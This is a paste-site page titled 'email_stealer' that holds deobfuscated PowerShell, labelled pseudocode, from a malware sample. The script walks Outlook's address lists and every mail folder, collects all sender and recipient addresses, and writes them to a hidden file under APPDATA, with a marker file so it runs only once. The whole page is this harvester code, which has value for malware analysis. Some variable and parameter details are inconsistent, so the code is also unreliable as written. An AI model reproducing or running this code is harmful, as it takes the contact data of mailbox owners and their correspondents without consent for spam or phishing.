ps66uk icon

email_stealer

ps66uk | PRO | 06/28/19 03:21:05 PM UTC | 0 ⭐ | 2733 👁️ | Never ⏰ | []
text |

3.89 KB

|

None

|

0 👍

/

0 👎

# deobfuscated pseudocode from l.ps1 - https://app.any.run/tasks/9433b851-34b9-462b-895e-26a8402b9985
 Add-Type -assembly Microsoft.Office.Interop.Outlook
$NEW_OUTLOOK = New-Object -comobject Outlook.Application
$MAPI = $NEW_OUTLOOK.GetNameSpace(MAPI)
$COLLECTION = [System.Collections.ArrayList]@()
 function CHECK_VALID($STOLEN_ADDRESS)
{
  $EMAIL_REGEX = "^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)*(\.[a-z]{2,4})$"
  if ($STOLEN_ADDRESS -match $EMAIL_REGEX) {
    return $true
  }
  return $false
}
 function COLLECT_INFO($STOLEN_ADDRESS) {
  if ($STOLEN_ADDRESS) {
    $KNOWN_ADDRESS = $false
    $STOLEN_ADDRESS = $STOLEN_ADDRESS.ToLower()
    if ($STOLEN_ADDRESS.StartsWith("'") -And $STOLEN_ADDRESS.EndsWith("'")) {
      $STOLEN_ADDRESS = $STOLEN_ADDRESS.Substring(1, $STOLEN_ADDRESS.Length - 2)
    }
    if (CHECK_VALID($STOLEN_ADDRESS)) {
      for($CT_ADDRESSES = 0;$CT_ADDRESSES -lt $OUTLOOK_EXPORT.Count;$CT_ADDRESSES++) {
        if ($OUTLOOK_EXPORT[$CT_ADDRESSES] -eq $STOLEN_ADDRESS) {
          $KNOWN_ADDRESS = $true
          break
        }
      }
      if (-Not $KNOWN_ADDRESS) {
        $FINAL_EXPORT = $OUTLOOK_EXPORT.Add($STOLEN_ADDRESS)
      }
    }
  }
}
 function STEAL_ADDRESS_LISTS {
  $CT_ADDRESS_LIST = $MAPI.AddressLists
  for($CT_ADDRESS = 1;$CT_ADDRESS -le $CT_ADDRESS_LIST.Count;$CT_ADDRESS++) {
    $CT_ADDRESS_ENTRY = $CT_ADDRESS_LIST.Item($CT_ADDRESS).AddressEntries
    for($OL_ADDRESS = 1;$OL_ADDRESS -le $CT_ADDRESS_ENTRY.Count;$OL_ADDRESS++) {
      $CURR_ADDRESS = $CT_ADDRESS_ENTRY.Item($OL_ADDRESS)
      $CURR_ADDRESS_TYPE = $CURR_ADDRESS.AddressEntryUserType
      $STOLEN_ADDRESS = ""
      if ($CURR_ADDRESS_TYPE -eq 10) {
        $STOLEN_ADDRESS = $CURR_ADDRESS.Address
      } elseif (($CURR_ADDRESS_TYPE -eq 3) -Or ($CURR_ADDRESS_TYPE -eq 1) -Or ($CURR_ADDRESS_TYPE -eq 4) -Or ($CURR_ADDRESS_TYPE -eq 2) -Or ($CURR_ADDRESS_TYPE -eq 5) -Or ($CURR_ADDRESS_TYPE -eq 0)) {
        $STOLEN_ADDRESS = $CURR_ADDRESS.GetExchangeUser().PrimarySmtpAddress
      }
      COLLECT_INFO($STOLEN_ADDRESS)
    }
  }
}
 function STEAL_EMAIL_ADDRESS($MAPI.Folders) {
  for($CT_FOLDERS = 1;$CT_FOLDERS -le $MAPI.Folders.Count;$CT_FOLDERS++) {
    $CURR_FOLDER = $MAPI.Folders.Item($CT_FOLDERS)
    $CURR_ITEMS = $CURR_FOLDER.Items
    for($OL_ITEM = 1;$OL_ITEM -le $CURR_ITEMS.Count;$OL_ITEM++) {
      $INDIV_EMAIL = $CURR_ITEMS.Item($OL_ITEM)
      $RECIPIENTS = $INDIV_EMAIL.Recipients
      for($CURR_RECIPIENT = 1;$CURR_RECIPIENT -le $RECIPIENTS.Count;$CURR_RECIPIENT++) {
        $CURR_RECIPIENT_DETAILS = $RECIPIENTS.Item($CURR_RECIPIENT)
        $CURR_ADDRESS = $CURR_RECIPIENT_DETAILS.AddressEntry
        $CURR_ADDRESS_TYPE = $CURR_ADDRESS.AddressEntryUserType
        $STOLEN_ADDRESS = "";
        if ($CURR_ADDRESS_TYPE -eq 0) {
          $STOLEN_ADDRESS = $CURR_ADDRESS.GetExchangeUser().PrimarySmtpAddress
        } elseif (($CURR_ADDRESS_TYPE -eq 30) -Or ($CURR_ADDRESS_TYPE -eq 10)) {
          $STOLEN_ADDRESS = $CURR_ADDRESS.Address
        }
        COLLECT_INFO($STOLEN_ADDRESS)
      }
      $CURR_ADDRESS = $INDIV_EMAIL.Sender
      $CURR_ADDRESS_TYPE = $CURR_ADDRESS.AddressEntryUserType
      $STOLEN_ADDRESS = "";
      if ($CURR_ADDRESS_TYPE -eq 0) {
        $STOLEN_ADDRESS = $CURR_ADDRESS.GetExchangeUser().PrimarySmtpAddress
      } elseif (($CURR_ADDRESS_TYPE -eq 30) -Or ($CURR_ADDRESS_TYPE -eq 10)) {
        $STOLEN_ADDRESS = $CURR_ADDRESS.Address
      }
      COLLECT_INFO($STOLEN_ADDRESS)
    }
    STEAL_EMAIL_ADDRESS($CURR_FOLDER.Folders)
  }
}
 function GET_LIST_AND_EMAIL() {
  STEAL_ADDRESS_LISTS
  STEAL_EMAIL_ADDRESS($MAPI.Folders)
   Add-Content $env:APPDATA\Microsoft\.Outlook  $OUTLOOK_EXPORT
}
 function STEAL_EMAIL_INFO() {
  $FILE_EXISTS = [System.IO.File]::Exists($CHECK_FILE)
  if (-Not $FILE_EXISTS) {
      "" | sc $CHECK_FILE
      GET_LIST_AND_EMAIL
  }
}
 STEAL_EMAIL_INFO

Comments